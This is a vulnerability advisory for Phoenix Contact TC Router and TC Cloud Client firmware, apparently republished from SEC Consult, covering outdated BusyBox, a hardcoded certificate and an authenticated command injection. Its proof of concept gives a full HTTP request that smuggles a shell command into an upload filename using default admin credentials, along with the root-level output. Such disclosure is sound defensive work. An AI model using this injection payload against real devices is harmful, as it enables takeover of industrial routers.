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=======================================================================
              title: Authenticated Command Injection
            product: Phoenix Contact TC Router & TC Cloud Client
 vulnerable version: <=2.05.3 & <=2.03.17 & <=1.03.17
      fixed version: 2.05.4 & 2.03.18 & 1.03.18
         CVE number: CVE-2020-9436, CVE-2020-9435
             impact: High
           homepage: https://www.phoenixcontact.com/
              found: 2020-01-23
                 by: T. Weber (Office Vienna)


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Vendor description:
-------------------
"Phoenix Contact is a globally present, Germany-based market leader. Our group
is synonymous with future-oriented components, systems, and solutions in the
fields of electrical engineering, electronics, and automation. A global network
across more than 100 countries and 15,000 employees ensure close proximity to
our customers, which we believe is particularly important."

Source:
https://www.phoenixcontact.com/online/portal/pc?1dmy&urile=wcm%3apath%3a/pcen/web/corporate/company/subcategory_pages/Who_we_are/


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products
conducted by security professionals to identify and resolve all security issues.


Vulnerability overview/description:
-----------------------------------
1) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple
known vulnerabilities. The outdated version was found by IoT Inspector.
One of the discovered vulnerabilities (CVE-2017-16544) was verified by using
the MEDUSA scalable firmware runtime.

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection vulnerability can be triggered by issuing a
POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available on the
web interface. An attacker can abuse this vulnerability to compromise the
operating system of the device. This issue was found by emulating the firmware
of the device.

3) Embedded Private X.509 Certificate (CVE-2020-9435)
The device contains a hardcoded certificate which can be used to run the web
service. This certificate is used for HTTPS (default server certificate for
web based configuration and management).

Impersonation, man-in-the-middle or passive decryption attacks are possible.
These attacks allow an attacker to gain access to sensitive information like
admin credentials and use them in further attacks.


Proof of concept:
-----------------
1) Known BusyBox Vulnerabilities
BusyBox version 1.18.5 contains multiple CVEs like:
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:

A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
-------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
]55;test.txt
#
-------------------------------------------------------------------------------

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection is possible via a crafted POST request.

The configuration upload form in the web-interface can be used to upload an XML
configuration file. The filename of this XML file can be modified with an
interceptor proxy in order to inject system commands. The JavaScript code which
is used to do client-side filtering can be bypassed in this way. Because of
blacklisting of some characters, the ${IFS} command must be used for adding
whitespaces.

Request:
-------------------------------------------------------------------------------
POST /cgi-bin/p/adm/cfg HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10834433251208329385252513488
Content-Length: 724
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="exportmode"

0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="xmlmode"

on
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="importmode"

0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="cfg_upload"; filename="config.xml;ls${IFS}-la"
Content-Type: application/octet-stream



text

-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="cfg_submit"


-----------------------------10834433251208329385252513488--




Response from the web-server:


HTTP/1.0 200 OK
Content-Type: text/html
Cache-Control: no-cache

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-cache">
<style>
/* CSS main */

body
{
  font-family: verdana, arial, helvetica, sans-serif;
  font-size: 12px;
}
[...snip...]
.TextWarning
{
  vertical-align: middle;
  color: #FF4000;
}
</style>
<title>Configuration up-/download</title>
</head>
<body>
<pre>xml parsed
setup new config done
total 499
drwxr-xr-x    2 root     root          1024 Jan 28  2020 .
drwxr-xr-x    3 root     root          1024 Jan 28  2020 ..
-rwxr-xr-x    1 root     root          5544 Jan 28  2020 atcmd
-rwxr-xr-x    1 root     root          9624 Jan 28  2020 basicsetup
-rwxr-xr-x    1 root     root          9012 Jan 28  2020 cfg
-rwxr-xr-x    1 root     root          7396 Jan 28  2020 conchk
-rwxr-xr-x    1 root     root          9128 Jan 28  2020 ddns
-rwxr-xr-x    1 root     root         14504 Jan 28  2020 dhcp
-rwxr-xr-x    1 root     root          4776 Jan 28  2020 dmesg
-rwxr-xr-x    1 root     root          6040 Jan 28  2020 edit_email
-rwxr-xr-x    1 root     root          6648 Jan 28  2020 edit_sms
-rwxr-xr-x    1 root     root         18288 Jan 28  2020 fw
-rwxr-xr-x    1 root     root         10560 Jan 28  2020 gprs
-rwxr-xr-x    1 root     root         12268 Jan 28  2020 gsm
-rwxr-xr-x    1 root     root          6784 Jan 28  2020 gsmlog
-rwxr-xr-x    1 root     root         11172 Jan 28  2020 io
-rwxr-xr-x    1 root     root          9812 Jan 28  2020 ipscert
-rwxr-xr-x    1 root     root          7604 Jan 28  2020 ipscon
-rwxr-xr-x    1 root     root          9928 Jan 28  2020 ipsike
-rwxr-xr-x    1 root     root         16728 Jan 28  2020 ipsset
-rwxr-xr-x    1 root     root         13808 Jan 28  2020 lanif
-rwxr-xr-x    1 root     root          5528 Jan 28  2020 leases
-rwxr-xr-x    1 root     root          6512 Jan 28  2020 log
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 masqtbl
-rwxr-xr-x    1 root     root          5313 Jan 28  2020 mdmupl
-rwxr-xr-x    1 root     root         17912 Jan 28  2020 napt
-rwxr-xr-x    1 root     root          7704 Jan 28  2020 ovpnadvanced
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 ovpncert
-rwxr-xr-x    1 root     root          6524 Jan 28  2020 ovpncon
-rwxr-xr-x    1 root     root          7856 Jan 28  2020 ovpnkey
-rwxr-xr-x    1 root     root         13012 Jan 28  2020 ovpnnapt
-rwxr-xr-x    1 root     root         19732 Jan 28  2020 ovpntunnel
-rwxr-xr-x    1 root     root          4760 Jan 28  2020 phonebook
-rwxr-xr-x    1 root     root          8284 Jan 28  2020 reboot
-rwxr-xr-x    1 root     root          5956 Jan 28  2020 routes
-rwxr-xr-x    1 root     root         10840 Jan 28  2020 rtc
-rwxr-xr-x    1 root     root          6928 Jan 28  2020 security
-rwxr-xr-x    1 root     root         17860 Jan 28  2020 sim
-rwxr-xr-x    1 root     root          7080 Jan 28  2020 sms
-rwxr-xr-x    1 root     root          7960 Jan 28  2020 smtp
-rwxr-xr-x    1 root     root          7048 Jan 28  2020 snmp
-rwxr-xr-x    1 root     root          5964 Jan 28  2020 socksrv
-rwxr-xr-x    1 root     root          9632 Jan 28  2020 sroute
-rwxr-xr-x    1 root     root         14668 Jan 28  2020 srvfw
-rwxr-xr-x    1 root     root          5456 Jan 28  2020 sshconfig
-rwxr-xr-x    1 root     root         11224 Jan 28  2020 sysconfig
-rwxr-xr-x    1 root     root         19996 Jan 28  2020 test
-rwxr-xr-x    1 root     root          4712 Jan 28  2020 update
-rwxr-xr-x    1 root     root            73 Jan 28  2020 upload
-rwxr-xr-x    1 root     root            30 Jan 28  2020 upremove
-rwxr-xr-x    1 root     root          7132 Jan 28  2020 user
-rwxr-xr-x    1 root     root          9672 Jan 28  2020 webcert
-rwxr-xr-x    1 root     root         10932 Jan 28  2020 webconfig
</pre><pre>please reboot next</pre>
</body>
</html>



3) Embedded Private X.509 Certificate (CVE-2020-9435)
The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb663e5a22836b8



Vulnerable / tested versions:
-----------------------------
The following firmware version has been tested:

* TC Router 3002T-4G ATT / 2.05.3
* TC Cloud Client 1002-TX/TX / 1.03.17

According to the vendor, the following devices are affected as well:

Article name                Article number   Affected versions
TC ROUTER 3002T-4G          2702528          <= 2.05.3
TC ROUTER 3002T-4G          2702530          <= 2.05.3
TC ROUTER 2002T-3G          2702529          <= 2.05.3
TC ROUTER 2002T-3G          2702531          <= 2.05.3
TC ROUTER 3002T-4G VZW      2702532          <= 2.05.3
TC ROUTER 3002T-4G ATT      2702533          <= 2.05.3
TC CLOUD CLIENT 1002-4G     2702886          <= 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887          <= 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888          <= 2.03.17
TC CLOUD CLIENT 1002-TXTX   2702885          <= 1.03.17

#  0day.today [2020-03-15]  #